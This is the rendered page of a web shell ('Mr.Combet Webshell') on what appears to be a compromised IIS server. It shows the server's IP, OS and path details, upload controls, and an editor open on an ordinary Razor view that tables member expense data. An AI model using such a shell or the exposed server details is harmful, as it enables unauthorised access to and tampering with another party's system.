Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
VITA
/
Views
/
Map
/
MemberBaseline
/
Edit File Name :
_BaselineExpenseTab.cshtml
@model RER_Project.DataAccess.ViewModels.Baseline.BaselineViewModel <div> <div class="row"> <div class="col-lg-12"> <div class="ibox float-e-margins"> <div id="output" style="margin: 10px;"></div> </div> </div> </div> </div> <div class="table-responsive" style="margin-top: 16px;"> <table class="table table-bordered table-hover display" name="tblExpenses" id="tblExpenses"> <thead> <tr> @*<th>Commodity</th> <th>Product Name </th>*@ <th>Expense Head</th> <th style="text-align:center">Expense Amount (Rs)</th> </tr> </thead> <tbody> </tbody> </table> <h3>Total Expense : <span id="totalExpense"></span></h3> </div> <script type="text/javascript"> function loadExpenseList() { WorkForce.loader.show(); const ajax = request(); function request() { const url = '/baseline/expenses/member/' + @Model.MemberDetailView.Id; return window.getAjaxRequest(url, "Get", @Model.MemberDetailView.Id); } ajax.done(function (response) { console.log(response); addExpensesToTable(response); WorkForce.loader.hide(); }); ajax.fail(function (xhr) { ShowMessage("error", xhr.responseText); }); } function addExpensesToTable(response) { console.log(response); $('#tblExpenses tbody > tr').remove(); var table = $("#tblExpenses tbody"); var totalExpense = 0; let group = response.reduce((r, a) => { r[a.category] = [...r[a.category] || [], a]; return r; }, {}); for (var key in group) { var row = "<tr style='line-height:30px;background-color:#edf0ee;color:black'>"; var obj = group[key]; row += "<th > Product : " + key + " ( " + '@Model.MemberDetailView.CommodityName' +" )" + "</th>"; var sum = 0; obj.forEach(function (x) { sum += parseFloat(x.expense_amount||0); }); row += "<th style='text-align:right'> Total : Rs. " + getNumberWithComma(sum) + " </span></th><th></th></tr>"; sum = 0; obj.forEach(function (x) { totalExpense += parseFloat(x.expense_amount||0); row += "<td> <strong>-</strong> " + x.expense_head + "</td>"; row += "<td><strong><center>" + getNumberWithComma(x.expense_amount||0) + "</center></strong></td>"; console.log(totalExpense) $('#totalExpense').text('Rs.' + getNumberWithComma(totalExpense)); }) table.append(row); } } </script> <style> @@import url('../../Content/plugins/pivotTable/pivot.css'); </style>
Save